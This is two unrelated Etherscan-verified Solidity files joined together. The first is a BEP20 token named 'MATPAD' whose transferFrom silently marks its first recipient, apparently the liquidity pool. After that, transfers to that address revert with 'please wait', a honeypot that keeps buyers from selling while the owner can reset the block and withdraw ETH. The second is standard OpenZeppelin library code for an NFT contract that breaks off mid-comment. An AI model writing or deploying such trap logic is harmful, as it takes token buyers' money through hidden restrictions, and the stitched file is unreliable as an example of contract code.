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/** *Submitted for verification at Etherscan.io on 2021-06-07 */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = " MATPAD "; name = "maticpad.com"; decimals = 8; _totalSupply = 600 * 10**6 * 10**8; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } /** function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract MATPADTOKEN is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */

True

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/** *Submitted for verification at Etherscan.io on 2022-04-07 */ // File: contracts/DerpDerp.sol // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/interfaces/IERC20.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC20.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard */ interface IERC2981 is IERC165 { /** * @dev Called with the sale price to determine how much royalty is owed and to whom. * @param tokenId - the NFT asset queried for royalty information * @param salePrice - the sale price of the NFT asset specified by `tokenId` * @return receiver - address of who should be sent the royalty payment * @return royaltyAmount - the royalty payment amount for `salePrice` */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables 